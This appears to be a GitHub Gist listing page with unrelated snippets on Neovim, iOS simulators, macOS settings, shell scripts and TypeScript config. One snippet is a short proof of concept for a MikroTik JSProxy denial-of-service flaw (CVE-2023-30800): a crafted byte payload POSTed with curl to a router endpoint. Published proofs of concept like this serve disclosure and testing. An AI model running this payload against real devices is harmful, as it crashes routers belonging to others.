Skip to content

Instantly share code, notes, and snippets.

local yank_group = vim.api.nvim_create_augroup("highlight_yank", { clear = true })
-- Set cursor position before yanking
vim.api.nvim_create_autocmd("ModeChanged", {
group = yank_group,
pattern = "*",
callback = function()
vim.g.pre_yank_cursor_pos = vim.fn.getcurpos()
end,
})
@j-baines
j-baines / cve-2023-30800-poc.md
Created September 7, 2023 15:01
MikroTik JSProxy Denial of Service (CVE-2023-30800)
albinolobster@mournland:~$ echo -en "\x00\x00\x00\x00\x00\x00\x00\x00\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e" > /tmp/webfig-crash.bin
albinolobster@mournland:~$ curl -v -X POST -H "Content-Type: msg" --data-binary @/tmp/webfig-crash.bin http://10.12.70.1/jsproxy
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.12.70.1:80...
* TCP_NODELAY set
* Connected to 10.12.70.1 (10.12.70.1) port 80 (#0)
> POST /jsproxy HTTP/1.1
> Host: 10.12.70.1
> User-Agent: curl/7.68.0
@wojteklu
wojteklu / clean_code.md
Last active May 6, 2024 07:01
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@patriknyblad
patriknyblad / xcrun_simctl_cheatsheet.md
Last active May 6, 2024 07:01
iOS Simulator Terminal Commands `$ xcrun simctl`

Managing iOS Simulators

List all simulators created

$ xcrun simctl list --json

Delete old and unavailable simulators

$ xcrun simctl delete unavailable
@evantobin
evantobin / bofaaffinity.md
Last active May 6, 2024 07:00
bofa affinity card design list

About

Bank of America affinity cards allow you to get the benefits of the Customized Cash Rewards cards and Preferred Rewards without waiting 24 months between each application. There's tons of these cards out there so I thought I would make a list.

All of the BofA credit card apps use the same URL structure and just a different offer code so changing around the offer code you can uncover the designs. If you find another customized cash card let me know so I can add it and explore the nearby numbers.

You might notice duplicates. Those cards have different offer terms. Like some of the NEA cards give you an Amazon gift card as opposed to a $200 statement credit for the sign up bonus.

| name | applicationUrl | image

@supersonictw
supersonictw / ollama-export.sh
Last active May 6, 2024 07:00
Ollama Model Export Script
#!/bin/bash
# Ollama Model Export Script
# Usage: bash ollama-export.sh vicuna:7b
# License: MIT (https://ncurl.xyz/s/RD0Yl5fSg)
# https://gist.github.com/supersonictw/f6cf5e599377132fe5e180b3d495c553
set -e
echo "Ollama Model Export Script"
echo "License: MIT (https://ncurl.xyz/s/RD0Yl5fSg)"
@pazdera
pazdera / gist:1086117
Created July 16, 2011 07:56
Example of using getopt(1) utility in bash
#!/bin/bash
# Example of using getopt(1) utility to parse script arguments
# Copyright (C) 2011 Radek Pazdera
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@vanities
vanities / gist:57171d34b7f458ebc5d24069aafd0c3e
Last active May 6, 2024 06:55
disable / enable animations on mac
# opening and closing windows and popovers
defaults write -g NSAutomaticWindowAnimationsEnabled -bool false
# smooth scrolling
defaults write -g NSScrollAnimationEnabled -bool false
# showing and hiding sheets, resizing preference windows, zooming windows
# float 0 doesn't work
defaults write -g NSWindowResizeTime -float 0.001
@KRostyslav
KRostyslav / tsconfig.json
Last active May 6, 2024 06:54
tsconfig.json с комментариями.
// Файл "tsconfig.json":
// - устанавливает корневой каталог проекта TypeScript;
// - выполняет настройку параметров компиляции;
// - устанавливает файлы проекта.
// Присутствие файла "tsconfig.json" в папке указывает TypeScript, что это корневая папка проекта.
// Внутри "tsconfig.json" указываются настройки компилятора TypeScript и корневые файлы проекта.
// Программа компилятора "tsc" ищет файл "tsconfig.json" сначала в папке, где она расположена, затем поднимается выше и ищет в родительских папках согласно их вложенности друг в друга.
// Команда "tsc --project C:\path\to\my\project\folder" берет файл "tsconfig.json" из папки, расположенной по данному пути.
// Файл "tsconfig.json" может быть полностью пустым, тогда компилятор скомпилирует все файлы с настройками заданными по умолчанию.
// Опции компилятора, перечисленные в командной строке перезаписывают собой опции, заданные в файле "tsconfig.json".